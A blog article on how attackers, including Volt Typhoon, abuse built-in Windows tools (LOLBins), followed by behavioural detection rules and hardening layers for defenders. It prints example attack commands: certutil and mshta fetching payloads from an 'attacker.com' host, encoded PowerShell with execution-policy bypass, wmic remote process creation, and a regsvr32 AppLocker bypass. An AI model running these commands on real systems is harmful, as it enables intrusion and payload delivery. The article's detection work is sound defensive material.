Cyber Security

Nation-States Don't Need Malware. They Use Your Own Windows.

Volt Typhoon maintained access to US critical infrastructure for years without a single custom binary. Every tool they used came pre-installed with Windows. Here's how LOLBins work, why they blind your entire detection stack, and what defenders actually do about it.

Meritshot Team6 min read
Cyber SecurityLOLBinsThreat DetectionLiving Off the LandWindows SecurityAPTBlue Team
Back to Blog

Nation-States Don't Need Malware. They Use Your Own Windows.

The incident response team was called in on a Tuesday morning. A financial services firm had flagged unusual data movement — large volumes of sensitive documents appearing in a staging directory before an expected exfiltration window. The IR team pulled endpoint telemetry. No malware signatures. No suspicious executables. No unknown processes.

What they found instead: certutil.exe downloading a file from an external IP. wmic.exe querying remote system information across fifteen workstations. PowerShell running base64-encoded commands that decoded into credential extraction routines. schtasks.exe creating persistence mechanisms disguised as Windows Update entries.

Every binary involved was signed by Microsoft. Every process was listed as a legitimate Windows system tool. The attacker had not brought a single custom file onto the network. The entire intrusion was conducted using tools that Windows installed itself.

This is not an edge case. This is the operational standard for the most capable threat actors today. The NSA advisory on Volt Typhoon — a Chinese state-sponsored group that maintained access to US critical infrastructure for years without detection — documented an attack conducted using exclusively native Windows tools. No implants. No custom malware. No zero-day exploits.

MITRE ATT&CK calls this technique class Living Off the Land. Security practitioners call the specific tools LOLBins — Living Off the Land Binaries.

Cybersecurity threat monitoring

Why the Security Industry Built the Wrong Defences

The security industry spent approximately two decades building defences against a specific threat model: an attacker who introduces unknown, malicious files onto a target system. Antivirus detects known-malicious file hashes. EDR products monitor for unknown executables and unsigned code. Sandboxes detonate suspicious files in isolated environments.

All of these defences share a common assumption: the threat involves something new.

LOLBin attacks invert this model. The entire offensive toolkit is already on the target system before the attacker arrives, pre-installed by Microsoft, digitally signed by Microsoft, whitelisted by every security product on the market. There is nothing new to detect.

Nation-states and sophisticated criminal groups understood this asymmetry years before most defenders did. Every sophisticated campaign documented in the past five years — Volt Typhoon, APT29/Cozy Bear, FIN7, REvil — has relied heavily on LOLBin techniques.

The Most Dangerous LOLBins and How Attackers Use Them

certutil.exe — A certificate management utility that attackers use to download files from remote servers and decode base64 content. Legitimate use: managing SSL certificates. Attack use: certutil.exe -urlcache -split -f http://attacker.com/payload.txt C:\Windows\Temp\p.exe

PowerShell — The most abused LOLBin. Can execute scripts from memory without writing to disk, encode commands to evade basic string detection, and bypass execution policies. PowerShell -ExecutionPolicy Bypass -NoProfile -EncodedCommand <base64>

wmic.exe — Windows Management Instrumentation provides remote system information gathering, process creation on remote systems, and persistence via event subscriptions. wmic /node:target process call create "malware.exe"

mshta.exe — Executes HTML Applications, which can contain embedded VBScript or JScript. Commonly used to execute remote scripts over HTTP. mshta.exe https://attacker.com/payload.hta

schtasks.exe — Creates scheduled tasks for persistence. Tasks created with names mimicking legitimate Windows maintenance tasks survive reboots and antivirus scans.

regsvr32.exe — Registers COM objects. Attackers use the /s /n /u /i: syntax to execute arbitrary scripts from remote URLs without writing to disk, bypassing AppLocker.

Why These Evade Detection

The fundamental detection problem: these binaries have legitimate uses. A rule that blocks certutil.exe entirely will break certificate management across your enterprise. A rule that blocks all PowerShell will disable your IT automation and system administration.

Detection requires distinguishing legitimate from malicious use of the same tool — which requires behavioural context, not signature matching.

What malicious LOLBin use looks like behaviourally:

  • certutil.exe running with -urlcache flag (not a normal certificate operation)
  • PowerShell running with both -EncodedCommand and -WindowStyle Hidden simultaneously
  • wmic.exe connecting to external IPs or other workstations (not servers)
  • mshta.exe loading content from external URLs
  • schtasks.exe creating tasks that run PowerShell, wmic, or certutil as their action

Security analyst monitoring threat activity

Detection Logic That Actually Works

Effective LOLBin detection is based on command-line argument analysis and process behaviour, not binary identity.

Rule 1: PowerShell with encoding + hidden window

alert if:
  process_name == "powershell.exe"
  AND command_line contains "-EncodedCommand" or "-enc"
  AND command_line contains "-WindowStyle Hidden" or "-w h"

This fires on hidden encoded PowerShell execution — a pattern that has almost no legitimate administrative use.

Rule 2: certutil used for file download

alert if:
  process_name == "certutil.exe"
  AND (command_line contains "-urlcache" or "-decode")
  AND parent_process != "mmc.exe"  # MMC is the legitimate management console parent

Rule 3: schtasks creating tasks that execute scripting engines

alert if:
  process_name == "schtasks.exe"
  AND command_line contains "/create"
  AND (command_line contains "powershell" or "wscript" or "cscript" or "mshta" or "regsvr32")

Rule 4: mshta loading from remote URL

alert if:
  process_name == "mshta.exe"
  AND command_line contains "http://" or "https://"

Rule 5: Suspicious parent-child relationships

alert if:
  child_process_name in ["powershell.exe", "cmd.exe", "wscript.exe"]
  AND parent_process_name in ["winword.exe", "excel.exe", "outlook.exe", "mshta.exe", "wmic.exe"]

Office applications spawning scripting engines is not normal administrative behaviour.

The Broader Defence Framework

Detection rules are necessary but not sufficient. The operational defence requires three layers:

Layer 1: Constrained language mode for PowerShell

PowerShell Constrained Language Mode limits what scripts can execute and significantly reduces the attack surface of LOLBin PowerShell abuse. Enable via AppLocker or Windows Defender Application Control.

Layer 2: Script block logging

Enable PowerShell script block logging (Event ID 4104). When attackers use encoded commands, script block logging decodes them before logging — giving you visibility into what the decoded command actually does.

Layer 3: Attack Surface Reduction rules

Windows Defender Attack Surface Reduction (ASR) includes rules specifically targeting LOLBin abuse patterns: blocking Office applications from spawning child processes, blocking JavaScript from the internet from executing, and blocking untrusted executables from USB drives.

The NSA advisory on Volt Typhoon ended with a recommendation that still applies: "Focus detection on network behaviour, not on file-based indicators." The files are legitimate. The behaviour is the attack.

Key Takeaways

LOLBinLegitimate PurposeMalicious UseKey Detection Signal
certutil.exeCertificate managementFile download, decode-urlcache flag
PowerShellAutomation, adminIn-memory execution-Encoded + -Hidden
wmic.exeSystem managementRemote executionConnecting to workstations
mshta.exeHTA application hostingRemote script executionHTTP/HTTPS in args
schtasks.exeTask schedulingPersistenceScripting engine in action
regsvr32.exeCOM registrationAppLocker bypassRemote URL in /i: arg

Every one of these binaries will exist on your systems. Every one of them has legitimate uses your teams depend on. The defence is not blocking them — it is understanding the specific argument patterns that indicate malicious use and building detection logic around those patterns rather than around the binaries themselves.

Recommended